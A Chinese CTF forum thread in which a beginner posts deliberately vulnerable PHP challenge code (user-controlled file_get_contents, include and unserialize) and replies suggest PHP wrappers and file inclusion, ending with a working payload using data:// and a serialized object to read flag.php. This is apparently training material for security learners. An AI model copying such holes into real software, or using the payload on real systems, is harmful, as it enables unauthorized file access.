大神求解答,我新手菜鸟一个
ctf吧
全部回复
仅看楼主
level 1
天璇云 楼主
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
2022年06月20日 12点06分 1
level 7
这不是原题吗
2022年06月22日 07点06分 2
level 5
代码格式乱七八糟。。考虑考虑伪协议吧
2022年06月22日 09点06分 3
level 2
真会有这么乱的php吗
2022年08月04日 17点08分 4
level 1
文件包含,伪协议
2022年08月30日 15点08分 5
level 1
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
2022年09月08日 07点09分 6
1